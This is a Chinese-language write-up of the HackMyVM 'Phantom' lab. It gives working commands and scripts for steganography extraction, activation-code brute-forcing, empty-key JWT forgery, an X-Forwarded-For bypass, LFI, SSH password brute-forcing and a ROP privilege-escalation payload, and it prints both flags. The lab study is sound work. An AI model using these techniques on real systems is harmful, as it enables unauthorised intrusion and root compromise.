跳到主要内容

HackMyVM Phantom 通关记录|Steghide 隐写、JWT 空密钥与 romantic_link ROP 提权

靶机链接:Phantom


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Phantom192.168.1.112靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
Web 侦察pass.txtabout_9527_hidden.htmljohn_9526_hidden.html获得隐写图片、成员名和密码提示
隐写提取qr.jpg 空密码提取 666.zip,再用 11104567 提取 secret.txt得到 vhost token.dsz
注册激活注册 admin/admin123 后获取激活页面 token,爆破 000000-000999激活本次注册的 admin 账号
权限绕过空字符串签名 HS256 JWT,X-Forwarded-For: 127.0.0.1解锁后台文件读取功能
受限 LFI读取 /etc/passwd得到用户 12138 和 GECOS 线索 To***21**
SSH 初始访问Todd[X]21[YY] 字典命中 Todd12138登录系统并读取 user flag
二进制提权romantic_link root 进程监听 127.0.0.1:1314发现可利用的栈溢出
Root 路线 Ajmp rsp + shellcode直接拿 root shell
Root 路线 BROP 写 debug_mode 后进入 debug_mode_func另一条已验证 root 路线

0x02 侦察与 Web 线索

1. 端口扫描

rustscan -a 192.168.1.112 -p 1-65535 --ulimit 5000 -- -A -sC -sV -oN nmap_scan.txt

这里 -p 1-65535 明确 RustScan 的端口扫描范围;-- 后面的参数交给 Nmap,RustScan 会把发现的开放端口自动传给 Nmap,相当于执行 nmap -p <发现的端口> ...

开放端口:

端口服务版本
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u3
80/tcpHTTPnginx 1.14.2

HTTP 首页是 MazeSec | 迷踪安全。目录扫描时过滤首页长度,可以看到一个有用文件:

gobuster dir -u http://192.168.1.112 \
-w /usr/share/wordlists/dirb/common.txt \
-x txt,html,php,bak,zip,jpg,png,dsz,json \
--exclude-length 2653

使用 Gobuster 进行 Web 目录扫描的常见命令与参数,可参考知识库:Gobuster 目录与子域名枚举

关键结果是 pass.txt

The password doesn't need to be cracked.

这句话后面对应 JWT 空密钥,并不是传统哈希破解提示。

2. 隐藏页面

首页链接到两个隐藏页面:

  • about_9527_hidden.html
  • john_9526_hidden.html

about_9527_hidden.html 里出现了两个后续会用到的线索:

  • 11104567,页面里称为老大哥。
  • Todd,页面里称为技术大牛。

john_9526_hidden.html 引用了图片 qr.jpg

<img src="qr.jpg" alt="MazeSec Community QR">

从前端 HTML、注释或静态资源提取隐藏页面与攻击线索的思路,可参考知识库:robots.txt 与静态资源线索分析

下载图片:

curl -o qr.jpg http://192.168.1.112/qr.jpg
file qr.jpg

二维码工具扫不出内容:

zbarimg qr.jpg
# WARNING: barcode data was not detected

这里不要停在“二维码识别失败”,继续检查图片隐写。


0x03 Steghide 三层提取与 vhost 发现

第一层,qr.jpg 空密码提取出 666.zip

steghide extract -sf qr.jpg -p '' -f
# wrote extracted data to "666.zip"

第二层,解压得到 666.jpg

unzip -o 666.zip
# inflating: 666.jpg

第三层,使用 about_9527_hidden.html 里的 11104567 作为 steghide 密码:

steghide extract -sf 666.jpg -p '11104567' -f
cat secret.txt

输出:

token.dsz

完整链条:

qr.jpg
-> steghide 空密码
-> 666.zip
-> unzip
-> 666.jpg
-> steghide 密码 11104567
-> secret.txt = token.dsz

访问 vhost:

curl --resolve token.dsz:80:192.168.1.112 http://token.dsz/

也可以写入 hosts:

echo '192.168.1.112 token.dsz' | sudo tee -a /etc/hosts
curl http://token.dsz/

如果忘记带 Host 头或没有配置 hosts,后续页面会像“不存在”或始终返回主站首页。

关于虚拟主机和 Host 头绕过探测,可参考知识库:TLS 证书 SAN 与虚拟主机发现


0x04 token.dsz 注册激活码爆破与受限 LFI

1. 注册与激活机制

token.dsz 下有登录、注册和激活页面:

  • index.php
  • register.php
  • activate.php
  • dashboard.php

注册规则比较直接:

  • 注册后需要 6 位激活码。
  • 激活码被限制在 000000000999
  • 激活表单里有 CSRF token,需要每次提交前重新获取。

本次复现中,先注册目标账号:

admin / admin123

注册后进入激活流程。本次环境中 admin 的 UID 为 37;如果重复注册或环境状态不同,以页面返回的用户 ID 为准,并同步调整脚本中的 ADMIN_UID

2. 爆破 admin 激活码

手工流程是:

  1. 注册 admin/admin123,记录或确认 admin 的用户 ID。
  2. 访问 activate.php?id=37 获取 CSRF token。
  3. 000000000999 范围内爆破激活码。
  4. 激活成功后登录 admin/admin123

注册请求可以这样发:

curl -i -c admin.cookies \
-H 'Host: token.dsz' \
-d 'user=admin&pass=admin123&reg=' \
http://192.168.1.112/register.php

爆破逻辑的关键是每轮先获取页面里的 token,再提交一个候选激活码:

import re
import requests

IP = "192.168.1.112"
headers = {"Host": "token.dsz"}
admin_uid = "37"
min_code = 0
max_code = 999
s = requests.Session()

s.post(
f"http://{IP}/register.php",
headers=headers,
data={"user": "admin", "pass": "admin123", "reg": ""},
)

for i in range(min_code, max_code + 1):
code = f"{i:06d}"
page = s.get(f"http://{IP}/activate.php?id={admin_uid}", headers=headers)
token = re.search(r'name="token" value="([^"]+)"', page.text).group(1)
resp = s.post(
f"http://{IP}/activate.php",
headers=headers,
data={"id": admin_uid, "token": token, "code": code, "activate": ""},
)
if "激活成功" in resp.text or "msg-box success" in resp.text:
print(code)
break

也可以直接使用附件脚本:

python3 admin_activation_bruteforce.py

脚本成功时会看到 admin 激活成功,并能登录到后台。需要注意的是,登录后 Cookie 里的 JWT 仍然显示 admin 的角色是 user,还不能直接使用内部功能。

3. JWT 空密钥

登录 admin/admin123 后访问 dashboard.php,页面仍提示权限不足。Cookie 中的 auth_token 是 JWT:

{"user":"admin","role":"user","iat":1780475937}

结合 pass.txt 的提示,验证发现 JWT 使用空字符串作为 HS256 密钥。伪造管理员角色:

python3 -c 'import jwt,time; print(jwt.encode({"user":"admin","role":"administrator","iat":int(time.time())}, "", algorithm="HS256"))'

本次记录中使用过的示例 token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTc4MDQ3Njk5Mn0.bLrh-yUFT4TqHemHLZ85Hed3QNNT1gfW6EsW5M_Hl7E

这个 JWT 没有 exp 字段;只要服务端仍使用空密钥验证 HS256,重新生成或复用同类 token 都能表达 administrator 角色。

4. X-Forwarded-For 来源绕过

只改 JWT 仍然会看到:

Access Denied

第二道限制是来源判断。X-Real-IP: 127.0.0.1 不生效,X-Forwarded-For: 127.0.0.1 生效:

curl -H 'Host: token.dsz' \
-H 'X-Forwarded-For: 127.0.0.1' \
-b 'auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTc4MDQ3Njk5Mn0.bLrh-yUFT4TqHemHLZ85Hed3QNNT1gfW6EsW5M_Hl7E' \
http://192.168.1.112/dashboard.php

解锁后出现文件读取表单:

<input type="text" name="file_path" required>
<button type="submit">读取内容如下</button>

5. 读取 /etc/passwd

curl -H 'Host: token.dsz' \
-H 'X-Forwarded-For: 127.0.0.1' \
-b 'auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTc4MDQ3Njk5Mn0.bLrh-yUFT4TqHemHLZ85Hed3QNNT1gfW6EsW5M_Hl7E' \
--data-urlencode 'file_path=/etc/passwd' \
http://192.168.1.112/dashboard.php

关键输出:

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
12138:x:1000:1000:To***21**:/home/12138:/bin/bash

这个 LFI 是受限的,很多路径会返回 你不能去读取这个内容。。本题只需要 /etc/passwd 中的用户和 GECOS 线索即可推进。

受限 LFI 读取的路径、文件和排查清单,可参考知识库:LFI 任意文件读取与运行时信息收集

也可以直接使用附件脚本:

python3 jwt_lfi_read.py /etc/passwd

0x05 SSH 初始访问

/etc/passwd 暴露了用户:

12138:x:1000:1000:To***21**:/home/12138:/bin/bash

这里的关键不是直接把 To***21** 当密码,而是把它和 about_9527_hidden.html 里的 Todd 组合起来:

  • ToTodd 对应。
  • *** 可以理解为 dd 后跟 1 位数字。
  • 21 固定。
  • ** 是 2 位数字。

生成 Todd[X]21[YY] 字典:

python3 << 'PYEOF'
passwords = set()
for i in range(10):
for j in range(100):
for case in ["Todd", "todd"]:
passwords.add(f"{case}{i}21{j:02d}")

with open("todd_dict.txt", "w") as f:
for p in sorted(passwords):
f.write(p + "\n")

print(f"Generated {len(passwords)} passwords")
PYEOF

Hydra 爆破 SSH:

hydra -l 12138 -P todd_dict.txt -t 4 -w 3 ssh://192.168.1.112

命中结果:

[22][ssh] host: 192.168.1.112 login: 12138 password: Todd12138

登录:

sshpass -p 'Todd12138' ssh -o StrictHostKeyChecking=no 12138@192.168.1.112

读取 user flag:

cat /mnt/flag/user.txt
flag{user-e962b914ff98c867373b60d34943b8f7}

0x06 权限提升

1. 本地枚举

whoami; id; hostname; uname -a
sudo -l
find / -perm -4000 -type f 2>/dev/null

关键发现:

  • 当前用户为 12138,没有 sudo 权限。
  • 发现 /mnt/flag/romantic_link_challenge/romantic_link
  • romantic_link 是 SUID root ELF 64-bit,且没有 strip。

自定义 SUID 二进制的常规枚举和静态分析流程,可参考知识库:SUID 自定义二进制静态分析

检查运行状态:

ps aux | grep romantic_link
ss -tlnp | grep 1314

输出显示该服务以 root 身份监听本地端口:

root ... ./romantic_link
LISTEN 127.0.0.1:1314

测试菜单:

timeout 3 nc -w 2 127.0.0.1 1314
╔══════════════════════════════════════════════╗
║ ❤️ Romantic Link v2.0 ❤️ ║
╚══════════════════════════════════════════════╝

【心动菜单】
1) 开始浪漫聊天
2) 查看我的心情
3) 分享小秘密
4) 获取系统信息
5) 退出链接

2. 下载二进制并分析

ssh 12138@192.168.1.112 'base64 /mnt/flag/romantic_link_challenge/romantic_link' > romantic_link.b64
base64 -d romantic_link.b64 > romantic_link

静态分析结果:

项目结果
Stack Canary
PIE
GNU_STACKRWE,栈可执行
ASLR开启
share_secretrecv(fd, input, 0xc8, 0) 向 96 字节栈缓冲区写入最多 200 字节

关键地址:

符号 / gadget地址
system@plt0x401238
/bin/sh 字符串0x4033be
pop rdi; ret0x401b3b
pop rsi; pop r15; ret0x401b39
jmp rsp0x403797
ret0x401016
debug_mode_func0x401706
debug_mode0x403d74
strcpy@plt0x401050

漏洞点在菜单 3 的 share_secret

char input[0x60];
recv(fd, input, 0xc8, 0);

这里的 fd 是已连接 socket 的文件描述符;recv 第三个参数 0xc8len,表示最多读取 200 字节,第四个参数 0flags。因此最多 200 字节会写入 96 字节缓冲区,偏移 104 字节可以覆盖返回地址。

3. 路线 A:jmp rsp + shellcode

由于栈可执行,可以让返回地址跳到 jmp rsp,再执行栈上的 shellcode。附件脚本:romantic_jmprsp_shellcode.py

将脚本放到靶机执行:

scp romantic_jmprsp_shellcode.py 12138@192.168.1.112:/tmp/romantic_jmprsp_shellcode.py
ssh 12138@192.168.1.112 'python3 /tmp/romantic_jmprsp_shellcode.py'

实际输出包含:

uid=0(root) gid=0(root) groups=0(root)
flag{root-2bd1dc759be8c8940e35569092e7dac2}

4. 路线 B:ROP 写 debug_mode 后进入 debug_mode_func

另一条已复测路线不依赖 shellcode,而是构造短 ROP 链:

  1. 通过栈溢出控制返回地址。
  2. 调用 strcpy@plt,把 debug_mode0 改成非零。
  3. 直接跳入 debug_mode_func(fd)
  4. 发送 shell,触发函数内部的 dup2system("/bin/sh")

核心 ROP 链:

payload = b"A" * 104
payload += p64(0x401B3B) + p64(0x403D74)
payload += p64(0x401B39) + p64(0x402000) + p64(0)
payload += p64(0x401050)
payload += p64(0x401B3B) + p64(4)
payload += p64(0x401016) + p64(0x401706)

附件脚本:romantic_rop_root.py

执行:

scp romantic_rop_root.py 12138@192.168.1.112:/tmp/romantic_rop_root.py
ssh 12138@192.168.1.112 "python3 /tmp/romantic_rop_root.py --cmd 'id; cat /root/root.txt; exit'"

实际输出包含:

【调试】输入命令 (输入 shell 获取权限): 启动 shell...
uid=0(root) gid=0(root) groups=0(root)
flag{root-2bd1dc759be8c8940e35569092e7dac2}

两条路线都已在当前环境复测成功。公开复现时,如果只想尽快拿 root,优先使用 romantic_rop_root.py 这条 ROP 路线;如果想理解二进制设计缺陷,再回看 jmp rsp + shellcode 路线。


0x07 最终成果 (Final Flags)

User Flag

  • 路径: /mnt/flag/user.txt
  • 内容: flag{user-e962b914ff98c867373b60d34943b8f7}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-2bd1dc759be8c8940e35569092e7dac2}

复盘总结

  1. pass.txt 是方向提示,不是密码文件。 The password doesn't need to be cracked. 最终指向 JWT 空密钥,而不是传统 hash cracking。

  2. 隐写链要结合页面线索。 qr.jpg 空密码提取只是第一层,真正的 vhost 来自第二张图,并且密码来自 about_9527_hidden.html 里的 11104567

  3. 注册和激活码爆破要写清楚。 本题不是依赖数据库里的历史注册数据,而是自己注册 admin/admin123,再利用 6 位激活码范围过小的问题爆破激活。

  4. JWT 角色和来源判断缺一不可。 只伪造 role=administrator 还不够,必须同时加 X-Forwarded-For: 127.0.0.1

  5. 受限 LFI 也能推进攻击链。 本题不需要自由读取源码或日志,只要 /etc/passwd 泄露了 12138 和 GECOS 字段,就足够构造 SSH 字典。

  6. root 服务绑定本地端口,利用脚本应在靶机执行或通过 SSH 转发。 romantic_link 监听 127.0.0.1:1314,直接从攻击机连接不到;复现时要么把脚本传到靶机运行,要么先做本地端口转发。


附件下载

为了方便复现,本文涉及的自编脚本已整理到站点静态目录:

文件说明
jwt_lfi_read.py在 admin 已激活后,自动登录 admin/admin123、伪造空密钥 JWT、添加 X-Forwarded-For 并读取文件
admin_activation_bruteforce.py注册 admin/admin123 并爆破 000000-000999 激活码的辅助脚本
romantic_rop_root.pyromantic_link 短 ROP 链提权脚本
romantic_jmprsp_shellcode.pyjmp rsp + shellcode 提权复测脚本

这些脚本默认使用本次实验 IP 192.168.1.112 和 vhost token.dsz。如果靶机 IP 变化,先修改脚本中的 IP 或使用 SSH 本地端口转发。